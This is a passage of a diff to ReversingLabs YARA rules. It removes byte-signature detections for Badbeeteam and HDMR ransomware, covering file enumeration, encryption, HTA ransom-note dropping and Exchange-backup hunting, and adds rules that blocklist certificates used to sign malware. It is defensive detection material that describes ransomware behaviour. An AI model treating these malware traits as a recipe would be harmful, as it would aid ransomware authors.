"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9b5367655c7c70958332d31524833d96d03027aab693393b19f478a80482abd0" + logic_hash = "37f0f64e2d84ef6591e1f07a05abca35b37827d26c828269fb5f38d8546a60a7" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Badbeeteam" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 - F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F C9 C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? - ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? - FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? - 8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? - 8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF 57 57 - 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 - 45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 - ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? - ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 - ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? - 3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D - } - $find_files_p2 = { - 56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? - ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? - ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B - D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D - ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? - 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? - 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? - ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? - ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 - C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 - ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - $encrypt_files_p1 = { - 59 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 F1 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? - 51 E8 ?? ?? ?? ?? 59 B9 ?? ?? ?? ?? 89 D6 6A ?? 5A 56 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? - ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? FF 04 24 51 57 E8 ?? ?? ?? ?? 58 59 8D 8C - 24 ?? ?? ?? ?? 8D 54 24 ?? 57 E8 ?? ?? ?? ?? 58 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? - ?? ?? 8B 84 24 ?? ?? ?? ?? F2 0F 10 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? A1 ?? ?? - ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? 8B 00 83 F8 ?? 72 ?? 8D 84 24 ?? ?? ?? ?? C7 84 24 - ?? ?? ?? ?? ?? ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 31 C0 C7 44 24 ?? ?? ?? ?? ?? 40 89 - 84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 57 E8 - ?? ?? ?? ?? 59 89 D6 B9 ?? ?? ?? ?? 6A ?? 5A 56 50 E8 ?? ?? ?? ?? 59 5A 89 F9 89 C3 - E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? 6A ?? 59 8D 7C 24 ?? 8D B4 24 ?? ?? ?? ?? F3 - A5 6A ?? 59 8D BC 24 ?? ?? ?? ?? 8D 74 24 ?? 31 C0 F3 A5 E9 ?? ?? ?? ?? 8B 84 24 ?? - ?? ?? ?? 85 C0 74 ?? 8B 8C 24 ?? ?? ?? ?? 50 FF 11 83 C4 ?? 8B 84 24 ?? ?? ?? ?? 8B - 70 ?? 8B 78 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 89 C1 89 F2 57 E8 ?? ?? ?? ?? - 58 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 69 - } - $encrypt_files_p2 = { - 7B ?? ?? ?? ?? ?? 89 C6 83 C6 ?? 85 FF 74 ?? 83 7E ?? ?? 74 ?? 8D 46 ?? 50 E8 ?? ?? - ?? ?? 58 81 C6 ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 74 ?? 83 3E ?? 74 ?? - 8D 4E ?? E8 ?? ?? ?? ?? EB ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 58 8B 06 F0 FF 08 75 ?? 56 - E8 ?? ?? ?? ?? EB ?? 53 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 58 59 8B 4C 24 ?? 85 C9 74 ?? - 8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 - 6B 5B ?? ?? 89 C7 89 C6 83 C7 ?? 85 DB 74 ?? 8D 4E ?? E8 ?? ?? ?? ?? 83 7E ?? ?? 74 - ?? 57 E8 ?? ?? ?? ?? 58 83 3F ?? 74 ?? 8D 47 ?? EB ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 58 - 83 C6 ?? 83 C7 ?? 83 C3 ?? EB ?? 8D 84 24 ?? ?? ?? ?? 50 8D 5C 24 ?? 53 E8 ?? ?? ?? - ?? 58 59 8B 4C 24 ?? 85 C9 74 ?? 8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 8D B4 24 - ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 6B 7E ?? ?? 89 C1 85 FF 74 ?? 8D 59 ?? 83 C1 ?? E8 - ?? ?? ?? ?? 89 D9 83 C7 ?? 8D 5C 24 ?? EB ?? 56 53 E8 ?? ?? ?? ?? 58 59 8B 4C 24 ?? - 85 C9 74 ?? 8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 A1 ?? ?? ?? ?? 8B 00 83 F8 ?? - 72 ?? 89 E0 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 89 C6 89 D7 68 ?? ?? ?? ?? 8D 44 - 24 ?? 50 E8 ?? ?? ?? ?? 59 59 89 B4 24 ?? ?? ?? ?? 89 BC 24 ?? ?? ?? ?? 89 84 24 ?? - ?? ?? ?? 89 94 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 6A ?? 58 89 44 24 ?? 83 64 24 - ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 53 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 77 ?? 83 C7 ?? 8D 4E ?? E8 ?? - ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 66 ?? ?? 89 F9 E8 ?? ?? ?? ?? 8D 65 ?? 5E 5F 5B 5D - C3 - } - $drop_hta_file_p1 = { - 6A ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 59 89 D3 89 F9 89 - C2 53 E8 ?? ?? ?? ?? 58 8D B4 24 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? - ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 58 31 DB 43 53 57 E8 ?? ?? ?? ?? 59 - 5A 53 89 DF 50 E8 ?? ?? ?? ?? 59 5A 8D 5C 24 ?? 89 C2 89 D9 56 E8 ?? ?? ?? ?? 58 39 - 3B 0F 85 ?? ?? ?? ?? F2 0F 10 44 24 ?? A1 ?? ?? ?? ?? 8D 74 24 ?? 8D BC 24 ?? ?? ?? - ?? F2 0F 11 44 24 ?? 8B 00 83 F8 ?? 72 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 59 89 - 84 24 ?? ?? ?? ?? 31 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 40 89 - 84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 BC 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? - ?? EB ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? - 8D BC 24 ?? ?? ?? ?? 57 8D B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 F1 E8 ?? - ?? ?? ?? 57 E8 ?? ?? ?? ?? 58 6A ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A - } - $drop_hta_file_p2 = { - 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 58 - 31 DB 43 53 56 E8 ?? ?? ?? ?? 59 5A 53 50 E8 ?? ?? ?? ?? 59 5A 8D 74 24 ?? 89 C2 89 - F1 57 E8 ?? ?? ?? ?? 58 39 1E 0F 85 ?? ?? ?? ?? F2 0F 10 44 24 ?? A1 ?? ?? ?? ?? 8D - 74 24 ?? F2 0F 11 84 24 ?? ?? ?? ?? 8B 00 83 F8 ?? 72 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 89 44 24 ?? 31 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? - 89 54 24 ?? 40 89 84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? 89 - 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? 8B 44 24 ?? 89 44 24 ?? 68 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 74 24 ?? 56 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? - 83 C4 ?? 89 D9 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 58 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 - 8D BC 24 ?? ?? ?? ?? 89 C3 89 84 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 F9 6A ?? E8 ?? ?? - ?? ?? 58 83 64 24 ?? ?? 83 64 24 ?? ?? 57 E8 ?? ?? ?? ?? 59 8D 4C 24 ?? 51 56 6A ?? - 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 53 E8 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $drop_hta_file_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TIM Konstrakshn, TOV" and pe.signatures [ i ] . serial == "66:c7:58:a2:2b:fb:bc:e3:27:61:68:15:61:6d:dd:07" and 1469404800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_HDMR : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_E61B0366D940896430Bcfe3E93Baac5B : INFO FILE { meta: - description = "Yara rule that detects HDMR ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "97b5020c-6cb1-5ec6-84a4-2f35eae761c2" - date = "2020-06-26" - modified = "2020-07-15" + id = "24eb38c1-48a5-5d9b-a42d-345c4fda6c36" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HDMR.yara#L1-L161" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15058-L15076" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "035c6596db8dc14a663679c1f7e682b85963927cc034b01e390cc22fdee3334a" + logic_hash = "1b1fd0c2237446ab22c7359d1e89d822a4b9b6ad345447740154d7d52635c2ea" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "HDMR" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? - ?? ?? 53 56 8B 75 ?? 57 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 89 74 24 ?? - 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 52 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? - ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB - ?? 8D 49 ?? 8B 74 24 ?? F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24 ?? - 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 - ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? - 8D 44 24 ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 - C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D - } - $find_files_p2 = { - 54 24 ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 - ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4C 24 - ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 54 24 - ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 44 24 - ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 68 - ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 54 24 ?? 68 ?? ?? - ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D - 8C 24 ?? ?? ?? ?? 51 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 - 56 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 - E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83 - C4 ?? 85 F6 74 ?? 8B 44 24 ?? 8D 54 24 ?? 52 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? - 8B 0D ?? ?? ?? ?? 83 C4 ?? 3B 0D ?? ?? ?? ?? 7C ?? 8D 49 ?? 6A ?? FF 15 ?? ?? ?? ?? - 8B 15 ?? ?? ?? ?? 3B 15 ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? FF D7 FF 05 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF D3 6A ?? 6A ?? 56 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 8B 74 24 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? - ?? 56 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D - C3 - } - $encrypt_files_p1 = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? - ?? ?? 53 56 57 33 C0 8B D9 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 89 5C 24 ?? 66 - 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A - ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 66 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? BF ?? ?? - ?? ?? 33 F6 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? - ?? 83 C6 ?? 83 C7 ?? 81 FE ?? ?? ?? ?? 72 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51 - 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 8C ?? ?? ?? ?? 8B - 7C 24 ?? 7F ?? 83 FF ?? 0F 82 ?? ?? ?? ?? 8B F0 89 7C 24 ?? 89 74 24 ?? 85 C0 7C ?? - 7F ?? 83 FF ?? 76 ?? 6A ?? 6A ?? 6A ?? 53 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 33 C0 50 8D 54 24 ?? 52 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 88 44 24 ?? 6A ?? 8D - 44 24 ?? 50 53 C6 44 24 ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B C7 83 E8 - ?? 8B CE 83 D9 ?? 33 F6 39 44 24 ?? 75 ?? 3B F1 75 ?? 8B 4C 24 ?? 3B 0D ?? ?? ?? ?? - 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 6A ?? 52 C6 44 - } - $encrypt_files_p2 = { - 24 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D ?? - ?? ?? ?? 40 88 44 34 ?? 46 83 FE ?? 7C ?? 8B 44 24 ?? BE ?? ?? ?? ?? 85 C0 0F 8F ?? - ?? ?? ?? 0F 8C ?? ?? ?? ?? 81 FF ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 85 C0 0F 8C ?? ?? ?? - ?? 7F ?? 85 FF 0F 84 ?? ?? ?? ?? 85 C0 7F ?? 7C ?? 3B FE 73 ?? 6A ?? 6A ?? 50 57 E8 - ?? ?? ?? ?? 8B F7 2B F0 56 E8 ?? ?? ?? ?? 8B F8 33 C0 83 C4 ?? 89 44 24 ?? 89 44 24 - ?? 3B F8 74 ?? 50 8D 44 24 ?? 50 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 74 24 ?? - 75 ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 56 57 8D 44 24 ?? E8 ?? ?? ?? ?? 83 C4 - ?? 6A ?? 8D 4C 24 ?? 51 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 - ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? - ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 - C4 ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 68 ?? ?? - ?? ?? 50 57 E8 ?? ?? ?? ?? 8B C8 89 44 24 ?? B8 ?? ?? ?? ?? F7 E9 C1 FA ?? 8B C2 C1 - E8 ?? 03 C2 69 C0 ?? ?? ?? ?? 8B D1 2B D0 85 D2 7E ?? 41 89 4C 24 ?? 33 C0 89 44 24 - ?? 3B C8 0F 8E ?? ?? ?? ?? 89 44 24 ?? EB ?? 90 8B 7C 24 ?? 8B 44 24 ?? 8B 4C 24 - } - $encrypt_files_p3 = { - 99 2B F8 1B CA 89 7C 24 ?? 89 4C 24 ?? 0F 88 ?? ?? ?? ?? 7F ?? 85 FF 0F 84 ?? ?? ?? - ?? 8B C6 99 3B CA 7F ?? 7C ?? 3B F8 73 ?? 6A ?? 6A ?? 51 57 E8 ?? ?? ?? ?? 8B F7 2B - F0 85 F6 0F 8E ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 33 C0 83 C4 ?? 89 44 24 ?? 89 44 - 24 ?? 3B F8 0F 84 ?? ?? ?? ?? 50 8D 44 24 ?? 50 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F - 84 ?? ?? ?? ?? 39 74 24 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 8B CE F7 D9 51 53 FF 15 ?? - ?? ?? ?? 56 57 8D 44 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 52 56 57 53 FF - 15 ?? ?? ?? ?? 85 C0 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 81 FE ?? ?? ?? ?? 7C ?? 83 7C - 24 ?? ?? 7C ?? 7F ?? 81 7C 24 ?? ?? ?? ?? ?? 72 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF - 15 ?? ?? ?? ?? 8B 44 24 ?? 81 44 24 ?? ?? ?? ?? ?? 40 89 44 24 ?? 3B 44 24 ?? 0F 8C - ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ?? ?? 85 FF 74 ?? 57 E8 - ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 68 - } - $encrypt_files_p4 = { - 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D - 74 24 ?? 8D BC 24 ?? ?? ?? ?? F3 A5 8B 4C 24 ?? 6A ?? 89 8C 24 ?? ?? ?? ?? 8B D0 8D - 4C 24 ?? 51 C1 FA ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? A1 ?? - ?? ?? ?? 52 53 C7 44 24 ?? ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 FF - 15 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 66 89 84 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 94 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? 5F 5E - 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 8B 8C - 24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $find_MS_xchange_backups_p1 = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? - ?? ?? 53 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? - 8B 1D ?? ?? ?? ?? B0 ?? 88 44 24 ?? 88 44 24 ?? B0 ?? 83 C4 ?? C6 44 24 ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? 88 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? C6 44 24 ?? ?? 88 44 24 - ?? 88 44 24 ?? BE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 